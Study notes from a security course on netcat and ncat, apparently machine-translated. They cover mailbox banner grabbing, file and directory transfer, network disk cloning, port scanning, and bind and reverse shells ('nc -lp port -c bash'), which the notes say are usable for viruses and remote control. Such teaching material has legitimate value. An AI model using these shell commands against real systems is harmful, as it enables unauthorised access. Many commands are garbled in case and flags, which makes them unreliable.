"Safe Cow Study Notes" common tool-netcat

I. Functions of the NETCAT

The Swiss Army knife in the 1.NETCAT--NC cross-platform Network tool is exceptionally compact

(1) Listening mode/transmission mode

1. Connecting Mailboxes

Ping pop.sina.com Find the IP of Sina mailbox

NC-VN IP 110

Login after connecting to the mailbox

Pop default requires base64:

Open shell

Input base64

Input character

Enter Ctrl+d to get the characters after transcoding

SMTP mailbox does not require transcoding to 64

2. Connecting Metasploit

NC-NV (Metasploit) IP 80

Send HTTP request for Web page information

(2) telnet/get banner Information

(3) Transfer of text information

The two Kali are connected to one another.

A:NC-L-P Port open and listen Port port A as a server

B:NC-NV IP Port B as a client

Can be used as a remote electronic forensics

Modify the contents of the server as little as possible

Ls-l | NC-NV IP Port

Nc-l-P port > ps.txt outputs the remotely transmitted information to the Ps.txt.

PS aux | NC-NV IP port-q 1 command-q 1 wait for 1s to exit

(4) Transferring files/directories

Transfer files:

A:nc-lp Port>1.mp4 Receiving End

B:NC-NV IP Port <1.mp4-q 1 send side

Or

A:NC-LP Port < 1.mp4-q 1 Send end

B:NC-NV IP Port > 2.mp4 receiving End

File suffix is consistent

Transfer directory:

a:tar-cvf-music/| NC-LP Port-q 1

B:NC-NV IP Port | TAR-XVF-

Idea: Package a directory and then unpack it

(5) Encrypt transfer files

A:nc-lp Port | MCrypt --flush-fbqd-a rijndael-256-m

ECB > 1.mp4 receiving end

B:mcrypt--flush-fbq-a rijndael-256-m ECB < A.mp4 |

NC-NV IP port-q 1 Send side

Idea: Use the encryption function of the operating system to install MCrypt

(6) Remote control Trojan

(7) Encrypt all traffic

(8) Streaming media server

A:cat 1.mp4 | NC-LP Port

B:NC-NV IP Port | MPLAYER-VO X11-cache 3000-

Idea: Transfer video streams and play using MPlayer player

MPlayer need to install it yourself

(9) Remote clone hard Drive

A:NC-LP Port | DD OF=/DEV/SDA

B:DD IF=/DEV/SDA | NC IP port-q 1

(10) Port scan

Nc-nvz IP 1-65535

Scan all open ports

Use TCP port by default

Nc-nvzu IP 1-1024

Scan UDP ports

The scanning results of each scanner cannot be completely correct.

(11) Remote control (-C bash is the controlled party)

Forward direction:

A:NC-LP 333-c Bash

B:NC-NV IP Port

Reverse:

A:NC-LP Port

B:NC-NV IP port-c Bash

Note: Windows users change bash to cmd

Can be used as a system service, writing viruses, remote control

Two. Defects of Netcat

1.NC lack of encryption and authentication capabilities

The use of clear text transmission

2. Each version of the NC parameters are different

Three. Ncat Introduction

1.Ncat compensates for netcat defects

2.Ncat Included in Nmap Toolkit

3. Remote CONTROL

A:NCAT-C bash--allow ip-vnl Port--ssl is controlled

B:NCT-NV IP Port--ssl

Exchange the key first and then use SSL encryption for the session

This note is for safe Cattle class student notes, want to see this course or information security of dry goods can go to safe cattle classes

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"Safe Cow Study Notes" common tool-netcat